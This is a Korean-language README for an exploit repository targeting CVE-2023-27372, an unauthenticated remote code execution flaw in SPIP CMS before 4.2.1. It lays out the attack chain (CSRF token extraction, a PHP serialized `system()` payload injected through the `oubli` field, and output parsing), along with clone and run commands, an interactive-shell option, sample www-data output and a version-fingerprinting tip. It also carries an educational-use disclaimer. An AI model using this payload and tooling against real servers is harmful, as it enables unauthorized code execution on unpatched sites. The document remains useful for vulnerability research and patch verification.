
인터랙티브 셸이 포함된 CVE-2023-27372 익스플로잇
CVE-2023-27372에 대한 익스플로잇으로, 4.2.1 이전 버전의 SPIP CMS에 영향을 미치는 인증되지 않은 원격 코드 실행 취약점입니다.
⚠️ 교육 목적으로만 사용하십시오. 본인이 소유했거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 무단 사용은 불법입니다.
SPIP는 웹 퍼블리싱에 널리 사용되는 오픈소스 CMS입니다. 이 취약점은 비밀번호 복구 양식(/spip.php?page=spip_pass)에 존재하며, oubli 매개변수가 적절한 검증 없이 처리되어 공격자가 서버에서 임의의 PHP 코드를 주입하고 실행할 수 있게 합니다 — 인증이 필요하지 않습니다.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2023-27372 |
| CVSS 점수 | 9.8 (치명적) |
| 공격 벡터 | 네트워크 |
| 인증 | 필요 없음 |
| 영향을 받는 버전 | SPIP < 4.2.1 |
| 취약점 유형 | 코드 주입 / 인증되지 않은 RCE |
CSRF 토큰 가져오기 — HTML 양식에서 formulaire_action_args 토큰을 추출하기 위해 /spip.php?page=spip_pass로 GET 요청을 보냅니다.
페이로드 구성 — 실행할 명령어가 포함된 PHP 직렬화 문자열을 생성합니다:
s:N:"<?php system('COMMAND'); ?>";
여기서 N은 내부 PHP 문자열의 정확한 바이트 길이입니다.
페이로드 전송 — CSRF 토큰과 함께 oubli 필드에 구성된 페이로드를 넣어 POST 요청을 보냅니다. SPIP는 이 필드를 검증 없이 처리하고 주입된 PHP 코드를 실행합니다.
출력 추출 — 명령어 출력은 HTML 응답 내에 포함되어 반환되며 oubli 입력 필드의 value 속성에서 파싱됩니다.
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <command>
| 인자 | 설명 |
|---|---|
-u, --url | 대상 SPIP 인스턴스의 기본 URL |
-c, |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
예상 출력:
[+] Token found : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
대상의 SPIP 버전을 확인하려면 HTML에서 메타 생성기 태그를 찾으십시오:
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ 면책 조항
제 저장소에 제공된 정보와 익스플로잇은 교육 목적과 책임 있는 공개를 위해서만 사용하십시오. 저는 이러한 도구, 스크립트 또는 익스플로잇을 사용하여 발생하는 오용이나 피해에 대해 책임을 지지 않습니다.
--command| 대상에서 실행할 OS 명령어 |
-s, --shell | 대화형 셸 |